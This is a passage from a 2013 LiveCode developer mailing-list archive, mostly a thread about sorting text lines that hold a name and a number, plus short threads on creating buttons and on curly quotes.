<51A4B1B8.6060006@fourthworld.com> Nicely done, but I wonder where a small company got the cash to license "Hey Jude". -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From userev at canelasoftware.com Tue May 28 09:45:04 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Tue, 28 May 2013 06:45:04 -0700 Subject: Best screencast demo ever! In-Reply-To: References: Message-ID: Pricing: SaaS Very nice. This may explain how they can afford the rights to Hey Jude. Mark canelasoftware.com From pmbrig at gmail.com Tue May 28 10:14:43 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Tue, 28 May 2013 08:14:43 -0600 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> Message-ID: <12434B26-21D6-4197-B2B6-A160E501C34F@gmail.com> On May 27, 2013, at 3:45 PM, Dr. Hawkins wrote: > A particular one that *will* come up is mac using attorneys with > windows running in a virtual machine doing cross-os pastes. If the problem is really focused on the pasting, why not change the text to a workable form in a pastekey handler? -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From mwieder at ahsoftware.net Tue May 28 12:48:24 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 28 May 2013 16:48:24 +0000 (UTC) Subject: How to get an off-line licence for LC OSS References: <51A3B0A0.9060404@gmail.com> <51A3BB8C.9020704@fourthworld.com> Message-ID: Richard Gaskin writes: > Why does the free version require a license file? Why indeed? Kevin has stated that this will be changed in "the future". My take on it is that now is future enough. -- Mark Wieder mwieder at ahsoftware.net From andrew at ctech.me Tue May 28 13:06:04 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 28 May 2013 12:06:04 -0500 Subject: text sortType Message-ID: Hello Ya'll, I am trying to sort some tab delimited data by item 1 of each. Item 1 of each is a name and a number. Kansas 1 Kansas 3 MO 3 MO 8 Anyhow, when I run the sort as sort lines of sReportText by item 1 of each I get it sorted pretty close, but entries with the same name and a different number are not sorted numerically after being sorted alphabetically. Are there any built in options or tricks I could use to get the desired result without having to write a custom sort function for this seemingly simple task? -- Regards, Andrew Kluthe andrew at ctech.me From th.douez at gmail.com Tue May 28 13:31:28 2013 From: th.douez at gmail.com (Thierry Douez) Date: Tue, 28 May 2013 19:31:28 +0200 Subject: text sortType In-Reply-To: References: Message-ID: Hi Andrew, AFAIR, you can pile the sort command one after the other, as: sort lines of sReportText numeric by item 2 of each sort lines of sReportText by item 1 of each HTH. Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage 2013/5/28 Andrew Kluthe > Hello Ya'll, > > I am trying to sort some tab delimited data by item 1 of each. Item 1 of > each is a name and a number. > > Kansas 1 > Kansas 3 > MO 3 > MO 8 > > > Anyhow, when I run the sort as > > sort lines of sReportText by item 1 of each > > I get it sorted pretty close, but entries with the same name and a > different number are not sorted numerically after being sorted > alphabetically. > > Are there any built in options or tricks I could use to get the desired > result without having to write a custom sort function for this seemingly > simple task? > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From toolbook at kestner.de Tue May 28 13:33:49 2013 From: toolbook at kestner.de (Tiemo Hollmann TB) Date: Tue, 28 May 2013 19:33:49 +0200 Subject: AW: text sortType In-Reply-To: References: Message-ID: <003401ce5bc9$8416e490$8c44adb0$@de> How about sorting twice sort lines of sReportText numeric by item 2 of each sort lines of sReportText by item 1 of each didn't tested Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Andrew Kluthe > Gesendet: Dienstag, 28. Mai 2013 19:06 > An: How to use LiveCode > Betreff: text sortType > > Hello Ya'll, > > I am trying to sort some tab delimited data by item 1 of each. Item 1 of > each is a name and a number. > > Kansas 1 > Kansas 3 > MO 3 > MO 8 > > > Anyhow, when I run the sort as > > sort lines of sReportText by item 1 of each > > I get it sorted pretty close, but entries with the same name and a > different number are not sorted numerically after being sorted > alphabetically. > > Are there any built in options or tricks I could use to get the desired > result without having to write a custom sort function for this seemingly > simple task? > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gspearson at gmail.com Tue May 28 13:35:23 2013 From: gspearson at gmail.com (Graham Pearson) Date: Tue, 28 May 2013 13:35:23 -0400 Subject: Dynamically Creating Buttons Message-ID: <51A4EADB.10802@gmail.com> I have been searching this mailing list and the forums at runrev for an answer before I post. Without having any objects on a card, does anyone have notes on how to create a button and position it to the coordinates of 5,5 In my application, I am to the point now to taking each record from a database and creating a button for the user to select. The information from this loop will contain the text for the button and will allow for 5 pixels of spacing between buttons. From pete at lcsql.com Tue May 28 13:48:12 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 10:48:12 -0700 Subject: Dynamically Creating Buttons In-Reply-To: <51A4EADB.10802@gmail.com> References: <51A4EADB.10802@gmail.com> Message-ID: Hi Graham, Your best friend may be the templateButton. You can set the properties of it before issuing the create button command so it looks exactly what you want. To set the position you want, I'd use the topLeft property and the name or label property for the text to appear in the button. Only thing to remember is to reset the templateButton before and after each button is created. Pete lcSQL Software On Tue, May 28, 2013 at 10:35 AM, Graham Pearson wrote: > I have been searching this mailing list and the forums at runrev for an > answer before I post. > > > > > > Without having any objects on a card, does anyone have notes on how to > create a button and position it to the coordinates of 5,5 > > In my application, I am to the point now to taking each record from a > database and creating a button for the user to select. The information > from this loop will contain the text for the button and will allow for 5 > pixels of spacing between buttons. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From cmsheffield at icloud.com Tue May 28 13:49:00 2013 From: cmsheffield at icloud.com (Chris Sheffield) Date: Tue, 28 May 2013 11:49:00 -0600 Subject: Dynamically Creating Buttons In-Reply-To: <51A4EADB.10802@gmail.com> References: <51A4EADB.10802@gmail.com> Message-ID: <16564529-3274-48A1-AF95-7BBCDE10770F@icloud.com> See the create command in the dictionary. Then just position using the location property or left, right, top, bottom properties as needed. You might be better off populating a field or data grid, however, depending on your requirements. Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On May 28, 2013, at 11:35 AM, Graham Pearson wrote: > I have been searching this mailing list and the forums at runrev for an > answer before I post. > > > > > > Without having any objects on a card, does anyone have notes on how to > create a button and position it to the coordinates of 5,5 > > In my application, I am to the point now to taking each record from a > database and creating a button for the user to select. The information > from this loop will contain the text for the button and will allow for 5 > pixels of spacing between buttons. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Tue May 28 14:00:26 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 28 May 2013 11:00:26 -0700 Subject: curlyquotes, character sets, livecode, and english In-Reply-To: <12434B26-21D6-4197-B2B6-A160E501C34F@gmail.com> References: <234AAD56-B2C3-4A52-8696-561A3F832D14@swcp.com> <3A000A1B-08B3-4B5F-A8F2-0FF6F02158D9@jhj.com> <2AE50007-8B5B-436D-9B0C-4C7161FA43AA@swcp.com> <12434B26-21D6-4197-B2B6-A160E501C34F@gmail.com> Message-ID: On Tue, May 28, 2013 at 7:14 AM, Peter M. Brigham wrote: > If the problem is really focused on the pasting, why not change the text to a >workable form in a pastekey handler? I hadn't even though of that possibility :) But that's not the only way it can come in--there's import of a text file, typing under the various OSs. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From stephenREVOLUTION2 at barncard.com Tue May 28 14:16:42 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Tue, 28 May 2013 11:16:42 -0700 Subject: text sortType In-Reply-To: <003401ce5bc9$8416e490$8c44adb0$@de> References: <003401ce5bc9$8416e490$8c44adb0$@de> Message-ID: be sure to set the itemdelimiter to the desired delimiter just before the sort. Just like the state of the result, it's good to be explicit. You might have set the delimiter to something else in the handler. On Tue, May 28, 2013 at 10:33 AM, Tiemo Hollmann TB wrote: > How about sorting twice > sort lines of sReportText numeric by item 2 of each > sort lines of sReportText by item 1 of each > didn't tested > Tiemo > > > > -----Urspr?ngliche Nachricht----- > > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im > Auftrag > > von Andrew Kluthe > > Gesendet: Dienstag, 28. Mai 2013 19:06 > > An: How to use LiveCode > > Betreff: text sortType > > > > Hello Ya'll, > > > > I am trying to sort some tab delimited data by item 1 of each. Item 1 of > > each is a name and a number. > > > > Kansas 1 > > Kansas 3 > > MO 3 > > MO 8 > > > > > > Anyhow, when I run the sort as > > > > sort lines of sReportText by item 1 of each > > > > I get it sorted pretty close, but entries with the same name and a > > different number are not sorted numerically after being sorted > > alphabetically. > > > > Are there any built in options or tricks I could use to get the desired > > result without having to write a custom sort function for this seemingly > > simple task? > > > > > > > > -- > > Regards, > > > > Andrew Kluthe > > andrew at ctech.me > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From dunbarx at aol.com Tue May 28 14:22:32 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Tue, 28 May 2013 14:22:32 -0400 (EDT) Subject: text sortType In-Reply-To: <003401ce5bc9$8416e490$8c44adb0$@de> References: <003401ce5bc9$8416e490$8c44adb0$@de> Message-ID: <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> There is an undocumented feature, though it is noted in the user notes under "sort" and "sort container" in the dictionary: sort by sortKey1 & sortKey2 & sortKey3... all in one line. Both methods produce stable multiple sorts. Craig Newman -----Original Message----- From: Tiemo Hollmann TB To: 'How to use LiveCode' Sent: Tue, May 28, 2013 1:35 pm Subject: AW: text sortType How about sorting twice sort lines of sReportText numeric by item 2 of each sort lines of sReportText by item 1 of each didn't tested Tiemo > -----Urspr?ngliche Nachricht----- > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im Auftrag > von Andrew Kluthe > Gesendet: Dienstag, 28. Mai 2013 19:06 > An: How to use LiveCode > Betreff: text sortType > > Hello Ya'll, > > I am trying to sort some tab delimited data by item 1 of each. Item 1 of > each is a name and a number. > > Kansas 1 > Kansas 3 > MO 3 > MO 8 > > > Anyhow, when I run the sort as > > sort lines of sReportText by item 1 of each > > I get it sorted pretty close, but entries with the same name and a > different number are not sorted numerically after being sorted > alphabetically. > > Are there any built in options or tricks I could use to get the desired > result without having to write a custom sort function for this seemingly > simple task? > > > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From andrew at ctech.me Tue May 28 14:46:37 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 28 May 2013 13:46:37 -0500 Subject: text sortType In-Reply-To: <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> Message-ID: Ah, I should have been more clear in my example. Item 1 is a string consisting of a name and a number with a space in between. The other items I have not provided examples of here, because they contain information unrelated to the sort but may have made what I am trying to do more clear. If i sort by item 1 I would assume that "MO 8" would be placed before "MO 12" but it stops when it comes to the number. I beleive this is because the "1" in "12" in the example above comes before "8". I wish it would consider "12" an entire number in the match, but I understand why it doesn't work this way because it is using ASCII numbers to sort them yes? I always get in the habit of setting the itemDelimiter right before a sort, so i don't think it's getting changed. On Tue, May 28, 2013 at 1:22 PM, wrote: > There is an undocumented feature, though it is noted in the user notes > under "sort" and "sort container" in the dictionary: > > > sort by sortKey1 & sortKey2 & sortKey3... > > > > all in one line. Both methods produce stable multiple sorts. > > > > Craig Newman > > > > > -----Original Message----- > From: Tiemo Hollmann TB > To: 'How to use LiveCode' > Sent: Tue, May 28, 2013 1:35 pm > Subject: AW: text sortType > > > How about sorting twice > sort lines of sReportText numeric by item 2 of each > sort lines of sReportText by item 1 of each > didn't tested > Tiemo > > > > -----Urspr?ngliche Nachricht----- > > Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im > Auftrag > > von Andrew Kluthe > > Gesendet: Dienstag, 28. Mai 2013 19:06 > > An: How to use LiveCode > > Betreff: text sortType > > > > Hello Ya'll, > > > > I am trying to sort some tab delimited data by item 1 of each. Item 1 of > > each is a name and a number. > > > > Kansas 1 > > Kansas 3 > > MO 3 > > MO 8 > > > > > > Anyhow, when I run the sort as > > > > sort lines of sReportText by item 1 of each > > > > I get it sorted pretty close, but entries with the same name and a > > different number are not sorted numerically after being sorted > > alphabetically. > > > > Are there any built in options or tricks I could use to get the desired > > result without having to write a custom sort function for this seemingly > > simple task? > > > > > > > > -- > > Regards, > > > > Andrew Kluthe > > andrew at ctech.me > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From jacque at hyperactivesw.com Tue May 28 14:58:25 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 28 May 2013 13:58:25 -0500 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> Message-ID: <51A4FE51.3090707@hyperactivesw.com> On 5/28/13 1:46 PM, Andrew Kluthe wrote: > Ah, I should have been more clear in my example. > > Item 1 is a string consisting of a name and a number with a space in > between. The other items I have not provided examples of here, because they > contain information unrelated to the sort but may have made what I am > trying to do more clear. > > If i sort by item 1 I would assume that "MO 8" would be placed before "MO > 12" but it stops when it comes to the number. > > I beleive this is because the "1" in "12" in the example above comes before > "8". I wish it would consider "12" an entire number in the match, but I > understand why it doesn't work this way because it is using ASCII numbers > to sort them yes? > > I always get in the habit of setting the itemDelimiter right before a sort, > so i don't think it's getting changed. Does this do it?: sort lines of fld 1 numeric by word 2 of each sort lines of fld 1 by word 1 of each > On Tue, May 28, 2013 at 1:22 PM, wrote: > >> There is an undocumented feature, though it is noted in the user notes >> under "sort" and "sort container" in the dictionary: >> >> >> sort by sortKey1 & sortKey2 & sortKey3... >> >> >> >> all in one line. Both methods produce stable multiple sorts. >> >> >> >> Craig Newman >> >> >> >> >> -----Original Message----- >> From: Tiemo Hollmann TB >> To: 'How to use LiveCode' >> Sent: Tue, May 28, 2013 1:35 pm >> Subject: AW: text sortType >> >> >> How about sorting twice >> sort lines of sReportText numeric by item 2 of each >> sort lines of sReportText by item 1 of each >> didn't tested >> Tiemo >> >> >>> -----Urspr?ngliche Nachricht----- >>> Von: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] Im >> Auftrag >>> von Andrew Kluthe >>> Gesendet: Dienstag, 28. Mai 2013 19:06 >>> An: How to use LiveCode >>> Betreff: text sortType >>> >>> Hello Ya'll, >>> >>> I am trying to sort some tab delimited data by item 1 of each. Item 1 of >>> each is a name and a number. >>> >>> Kansas 1 >>> Kansas 3 >>> MO 3 >>> MO 8 >>> >>> >>> Anyhow, when I run the sort as >>> >>> sort lines of sReportText by item 1 of each >>> >>> I get it sorted pretty close, but entries with the same name and a >>> different number are not sorted numerically after being sorted >>> alphabetically. >>> >>> Are there any built in options or tricks I could use to get the desired >>> result without having to write a custom sort function for this seemingly >>> simple task? >>> >>> >>> >>> -- >>> Regards, >>> >>> Andrew Kluthe >>> andrew at ctech.me >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription >> preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From andrew at ctech.me Tue May 28 15:09:59 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 28 May 2013 14:09:59 -0500 Subject: text sortType In-Reply-To: <51A4FE51.3090707@hyperactivesw.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> Message-ID: That would handle it for the most part, jaque, but some of the data has multiple words in the first item. Here is a real sample of the most intricate of the data I would be sorting in that first item. MA West Creek 14 This would be a string to designate a field code we use. the first two are an abbreviated version of the county the farm is located in, the second is the common name of the farm and the last is a code for the specific chunk of land we are talking about. Sorting by words would work if the second piece of data in that string wasn't multiple words sometimes and I had some way to know how many words were in that item. I am thinking the string is just too variable to sort it down in that way without replacing spaces with another character momentarily. Thanks for the help. On Tue, May 28, 2013 at 1:58 PM, J. Landman Gay wrote: > On 5/28/13 1:46 PM, Andrew Kluthe wrote: > >> Ah, I should have been more clear in my example. >> >> Item 1 is a string consisting of a name and a number with a space in >> between. The other items I have not provided examples of here, because >> they >> contain information unrelated to the sort but may have made what I am >> trying to do more clear. >> >> If i sort by item 1 I would assume that "MO 8" would be placed before "MO >> 12" but it stops when it comes to the number. >> >> I beleive this is because the "1" in "12" in the example above comes >> before >> "8". I wish it would consider "12" an entire number in the match, but I >> understand why it doesn't work this way because it is using ASCII numbers >> to sort them yes? >> >> I always get in the habit of setting the itemDelimiter right before a >> sort, >> so i don't think it's getting changed. >> > > Does this do it?: > > sort lines of fld 1 numeric by word 2 of each > sort lines of fld 1 by word 1 of each > > > > On Tue, May 28, 2013 at 1:22 PM, wrote: >> >> There is an undocumented feature, though it is noted in the user notes >>> under "sort" and "sort container" in the dictionary: >>> >>> >>> sort by sortKey1 & sortKey2 & sortKey3... >>> >>> >>> >>> all in one line. Both methods produce stable multiple sorts. >>> >>> >>> >>> Craig Newman >>> >>> >>> >>> >>> -----Original Message----- >>> From: Tiemo Hollmann TB >>> To: 'How to use LiveCode' >>> Sent: Tue, May 28, 2013 1:35 pm >>> Subject: AW: text sortType >>> >>> >>> How about sorting twice >>> sort lines of sReportText numeric by item 2 of each >>> sort lines of sReportText by item 1 of each >>> didn't tested >>> Tiemo >>> >>> >>> -----Urspr?ngliche Nachricht----- >>>> Von: use-livecode [mailto:use-livecode-bounces@**lists.runrev.com] >>>> Im >>>> >>> Auftrag >>> >>>> von Andrew Kluthe >>>> Gesendet: Dienstag, 28. Mai 2013 19:06 >>>> An: How to use LiveCode >>>> Betreff: text sortType >>>> >>>> Hello Ya'll, >>>> >>>> I am trying to sort some tab delimited data by item 1 of each. Item 1 of >>>> each is a name and a number. >>>> >>>> Kansas 1 >>>> Kansas 3 >>>> MO 3 >>>> MO 8 >>>> >>>> >>>> Anyhow, when I run the sort as >>>> >>>> sort lines of sReportText by item 1 of each >>>> >>>> I get it sorted pretty close, but entries with the same name and a >>>> different number are not sorted numerically after being sorted >>>> alphabetically. >>>> >>>> Are there any built in options or tricks I could use to get the desired >>>> result without having to write a custom sort function for this seemingly >>>> simple task? >>>> >>>> >>>> >>>> -- >>>> Regards, >>>> >>>> Andrew Kluthe >>>> andrew at ctech.me >>>> ______________________________**_________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>>> >>> >>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription >>> preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >>> >> >> >> > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From gcanyon at gmail.com Tue May 28 15:25:48 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Tue, 28 May 2013 14:25:48 -0500 Subject: Best screencast demo ever! In-Reply-To: References: Message-ID: Nice! It bugs me that in some cases they use forks to present different variations, while in others they just change the text in the box (sometimes more than once). On Mon, May 27, 2013 at 8:49 PM, Bill Vlahos wrote: > This doesn't have anything to do with LiveCode or me but it is so clever I > just had to share it. > > https://www.lucidchart.com/pages/examples/flowchart_software > > Bill Vlahos > _________________ > InfoWallet (http://www.infowallet.com) is about keeping your important > life information with you, accessible, and secure. > lcTaskList: (http://www.infowallet.com/lctasklist/index.htm) > RunRev lcTaskList Forum: (http://forums.runrev.com/viewforum.php?f=61) > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Tue May 28 15:26:31 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Tue, 28 May 2013 14:26:31 -0500 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> Message-ID: <51A504E7.1000603@hyperactivesw.com> On 5/28/13 2:09 PM, Andrew Kluthe wrote: > That would handle it for the most part, jaque, but some of the data has > multiple words in the first item. > > Here is a real sample of the most intricate of the data I would be sorting > in that first item. > > MA West Creek 14 > > This would be a string to designate a field code we use. the first two are > an abbreviated version of the county the farm is located in, the second is > the common name of the farm and the last is a code for the specific chunk > of land we are talking about. > > Sorting by words would work if the second piece of data in that string > wasn't multiple words sometimes and I had some way to know how many words > were in that item. > > I am thinking the string is just too variable to sort it down in that way > without replacing spaces with another character momentarily. Maybe: sort lines of fld 1 numeric by last word of item 1 of each sort lines of fld 1 -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From gcanyon at gmail.com Tue May 28 15:32:25 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Tue, 28 May 2013 14:32:25 -0500 Subject: text sortType In-Reply-To: <51A504E7.1000603@hyperactivesw.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> Message-ID: tested & seems to work: sort lines of x numeric by word -1 of item 1 of each sort lines of x by word 1 to -2 of item 1 of each On Tue, May 28, 2013 at 2:26 PM, J. Landman Gay wrote: > On 5/28/13 2:09 PM, Andrew Kluthe wrote: > >> That would handle it for the most part, jaque, but some of the data has >> multiple words in the first item. >> >> Here is a real sample of the most intricate of the data I would be sorting >> in that first item. >> >> MA West Creek 14 >> >> This would be a string to designate a field code we use. the first two are >> an abbreviated version of the county the farm is located in, the second is >> the common name of the farm and the last is a code for the specific chunk >> of land we are talking about. >> >> Sorting by words would work if the second piece of data in that string >> wasn't multiple words sometimes and I had some way to know how many words >> were in that item. >> >> I am thinking the string is just too variable to sort it down in that way >> without replacing spaces with another character momentarily. >> > > Maybe: > > sort lines of fld 1 numeric by last word of item 1 of each > > sort lines of fld 1 > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Tue May 28 15:41:48 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 12:41:48 -0700 Subject: text sortType In-Reply-To: <51A504E7.1000603@hyperactivesw.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> Message-ID: The following worked for me (with apologies ofr any asterisks that may be inserted into the script by my email client) It assumes there won;t be any numbers > 6 digits. *on* mouseUp *sort* lines of field "Field" by reformatLine(each) *end* mouseUp *function* reformatLine l *local* tKey *put* word 1 to -2 of item 1 of l into tKey *repeat* 6-the length of word -1 of item 1 of l *put* zero after tKey *end* *repeat* *put* word -1 of item 1 of l after tKey *return* tKey *end* reformatLine Pete lcSQL Software From dsc at swcp.com Tue May 28 15:51:16 2013 From: dsc at swcp.com (Dar Scott) Date: Tue, 28 May 2013 13:51:16 -0600 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> Message-ID: <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> I think this and Geoff's are good! This one is more general if you can come up with some sort of metric or sortvalue for each item/list. Geoff's is simpler for this case. The speed difference will depend on the length of the list. Shouldn't the zero be put 'before' instead of 'after' to force a numerical sort? Also, there is a shortcut. put char -6 to -1 of ("000000" & tKey) into tKey Dar On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > The following worked for me (with apologies ofr any asterisks that may be > inserted into the script by my email client) > > It assumes there won;t be any numbers > 6 digits. > > *on* mouseUp > > *sort* lines of field "Field" by reformatLine(each) > > *end* mouseUp > > > *function* reformatLine l > > *local* tKey > > *put* word 1 to -2 of item 1 of l into tKey > > *repeat* 6-the length of word -1 of item 1 of l > > *put* zero after tKey > > *end* *repeat* > > *put* word -1 of item 1 of l after tKey > > *return* tKey > > *end* reformatLine > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Tue May 28 16:04:59 2013 From: dsc at swcp.com (Dar Scott) Date: Tue, 28 May 2013 14:04:59 -0600 Subject: text sortType In-Reply-To: <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> Message-ID: <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> Whoops, I didn't read Peter's solution all the way. I guessed at what he was doing instead of giving it the attention it deserved. I guess my thumbs up was for using the sorting value function and for putting in zero digits. I would (off the top of my head) simplify (and change) that to this: function reformatLine pL get item 1 of it return (word 1 to -2 of it) && char -6 to -1 of ("000000" & word -1 of it) end reformatLine By adding leading zeros for a fixed length, a text sort is the same as a number sort. A 3rd solution is to put fixed length numerals in the last word of the original data. (I could try using the *s as an excuse, but it is not a good excuse, sorry for commenting after only a glance.) Dar On May 28, 2013, at 1:51 PM, Dar Scott wrote: > I think this and Geoff's are good! This one is more general if you can come up with some sort of metric or sortvalue for each item/list. Geoff's is simpler for this case. The speed difference will depend on the length of the list. > > Shouldn't the zero be put 'before' instead of 'after' to force a numerical sort? > > Also, there is a shortcut. > > put char -6 to -1 of ("000000" & tKey) into tKey > > Dar > > > On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > >> The following worked for me (with apologies ofr any asterisks that may be >> inserted into the script by my email client) >> >> It assumes there won;t be any numbers > 6 digits. >> >> *on* mouseUp >> >> *sort* lines of field "Field" by reformatLine(each) >> >> *end* mouseUp >> >> >> *function* reformatLine l >> >> *local* tKey >> >> *put* word 1 to -2 of item 1 of l into tKey >> >> *repeat* 6-the length of word -1 of 